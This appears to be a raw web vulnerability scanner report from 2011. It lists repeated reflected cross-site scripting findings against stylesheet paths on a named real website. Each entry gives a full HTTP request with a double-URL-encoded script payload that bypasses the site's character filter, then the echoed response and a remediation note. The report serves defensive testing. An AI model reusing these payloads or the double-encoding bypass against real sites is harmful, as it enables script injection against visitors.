GET /css/uicac63%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5d010f954eb/ui.core.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6878%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e49980770f59 was submitted in the REST URL parameter 3. This input was echoed as c6878"><script>alert(1)</script>49980770f59 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.core.cssc6878%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e49980770f59 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbf73%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef798e920d23 was submitted in the REST URL parameter 1. This input was echoed as fbf73"><script>alert(1)</script>f798e920d23 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /cssfbf73%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef798e920d23/ui/ui.datepicker.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6749%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e54913b0be8b was submitted in the REST URL parameter 2. This input was echoed as b6749"><script>alert(1)</script>54913b0be8b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/uib6749%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e54913b0be8b/ui.datepicker.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45672%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4f4fe8f9220 was submitted in the REST URL parameter 3. This input was echoed as 45672"><script>alert(1)</script>4f4fe8f9220 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.datepicker.css45672%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4f4fe8f9220 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36a08%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecbd401dfa0f was submitted in the REST URL parameter 1. This input was echoed as 36a08"><script>alert(1)</script>cbd401dfa0f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css36a08%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecbd401dfa0f/ui/ui.dialog.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:15 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c042%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee88d9eeae49 was submitted in the REST URL parameter 2. This input was echoed as 8c042"><script>alert(1)</script>e88d9eeae49 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui8c042%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee88d9eeae49/ui.dialog.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf81b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eed17f52d89 was submitted in the REST URL parameter 3. This input was echoed as bf81b"><script>alert(1)</script>ed17f52d89 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.dialog.cssbf81b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eed17f52d89 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cb17%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee53ecb908c0 was submitted in the REST URL parameter 1. This input was echoed as 5cb17"><script>alert(1)</script>e53ecb908c0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css5cb17%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee53ecb908c0/ui/ui.progressbar.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 612ba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8b00486b426 was submitted in the REST URL parameter 2. This input was echoed as 612ba"><script>alert(1)</script>8b00486b426 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui612ba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8b00486b426/ui.progressbar.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13c9c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4a99b88c02e was submitted in the REST URL parameter 3. This input was echoed as 13c9c"><script>alert(1)</script>4a99b88c02e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.progressbar.css13c9c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4a99b88c02e HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14fad%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9c0b0ee56be was submitted in the REST URL parameter 1. This input was echoed as 14fad"><script>alert(1)</script>9c0b0ee56be in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css14fad%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9c0b0ee56be/ui/ui.resizable.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:15 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fcda%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8c138520eda was submitted in the REST URL parameter 2. This input was echoed as 3fcda"><script>alert(1)</script>8c138520eda in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui3fcda%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8c138520eda/ui.resizable.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f779c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e382088a8c20 was submitted in the REST URL parameter 3. This input was echoed as f779c"><script>alert(1)</script>382088a8c20 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.resizable.cssf779c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e382088a8c20 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2d5f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e87253ed8d10 was submitted in the REST URL parameter 1. This input was echoed as c2d5f"><script>alert(1)</script>87253ed8d10 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /cssc2d5f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e87253ed8d10/ui/ui.slider.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d474%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1e1c925c625 was submitted in the REST URL parameter 2. This input was echoed as 7d474"><script>alert(1)</script>1e1c925c625 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui7d474%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1e1c925c625/ui.slider.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb3ab%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ede52d4ea844 was submitted in the REST URL parameter 3. This input was echoed as eb3ab"><script>alert(1)</script>de52d4ea844 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.slider.csseb3ab%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ede52d4ea844 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5847%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e63b9f9dcf48 was submitted in the REST URL parameter 1. This input was echoed as e5847"><script>alert(1)</script>63b9f9dcf48 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /csse5847%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e63b9f9dcf48/ui/ui.tabs.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81a0d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eee949bf1e89 was submitted in the REST URL parameter 2. This input was echoed as 81a0d"><script>alert(1)</script>ee949bf1e89 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
